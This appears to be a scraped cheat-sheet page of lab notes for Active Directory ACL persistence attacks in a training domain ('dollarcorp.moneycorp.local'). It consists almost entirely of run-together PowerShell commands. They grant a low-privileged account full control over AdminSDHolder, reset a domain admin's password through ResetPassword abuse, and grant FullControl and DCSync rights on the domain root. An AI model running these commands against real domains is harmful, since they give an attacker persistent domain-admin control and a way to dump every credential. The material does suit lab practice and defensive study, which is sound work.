ACLs
AdminSDHolder
Add-DomainObjectAcl -TargetIdentity 'CN=AdminSDHolder,CN=System,DC=dollarcorp,DC=moneycorp,DC=local' -PrincipalIdentity student337 -Rights All -PrincipalDomain dollarcorp.moneycorp.local -TargetDomain dollarcorp.moneycorp.localGet-DomainObjectAcl -Identity "Domain Admins" -ResolveGUIDs | ForEach-Object {$_ | Add-Member NoteProperty 'IdentityName' $(Convert-SidToName $_.SecurityIdentifier);$_} | ?{$_.IdentityName -match "student337"}# Abuse the ResetPassword permissions
Set-DomainUserPassword -Identity testda -AccountPassword (ConvertTo-SecureString "P@assw0rd123!" -AsPlainText -Force) -VerboseSet-DCPermissions -Method AdminSDHolder -SAMAccountName student337 -Right GenericAll -DistinguishedName 'CN=AdminSDHolder,CN=System,DC=dollarcorp,DC=moneycorp,DC=local'(Get-Acl -Path 'AD:\CN=Domain Admins, CN=Users, DC=dollarcorp, DC=moneycorp, DC=local').Access | ?{$_.IdentityReference -match 'student337'}# Abuse the ResetPassword permissions
Set-ADAccountPassword -Identity testda -NewPassword (ConvertTo-SecureString "P@assw0rd123!" -AsPlainText -Force) -VerboseDomain Root
# Assign FullControl rights
Add-DomainObjectAcl -TargetIdentity 'DC=dollarcorp,DC=moneycorp,DC=local' -PrincipalIdentity student337 -Rights All -PrincipalDomain dollarcorp.moneycorp.local -TargetDomain dollarcorp.moneycorp.local
# Assign DCSync rights
Add-DomainObjectAcl -TargetIdentity 'DC=dollarcorp,DC=moneycorp,DC=local' -PrincipalIdentity student337 -Rights DCSync -PrincipalDomain dollarcorp.moneycorp.local -TargetDomain dollarcorp.moneycorp.local# Assign FullControl rights
Set-ADACL -SamAccountName student337 -DistinguishedName 'DC=dollarcorp,DC=moneycorp,DC=local' -Right GenericAll -Verbose
# Assign DCSync rights
Set-ADACL -SamAccountName student337 -DistinguishedName 'DC=dollarcorp,DC=moneycorp,DC=local' -GUIDRight DCSync -VerboseLast updated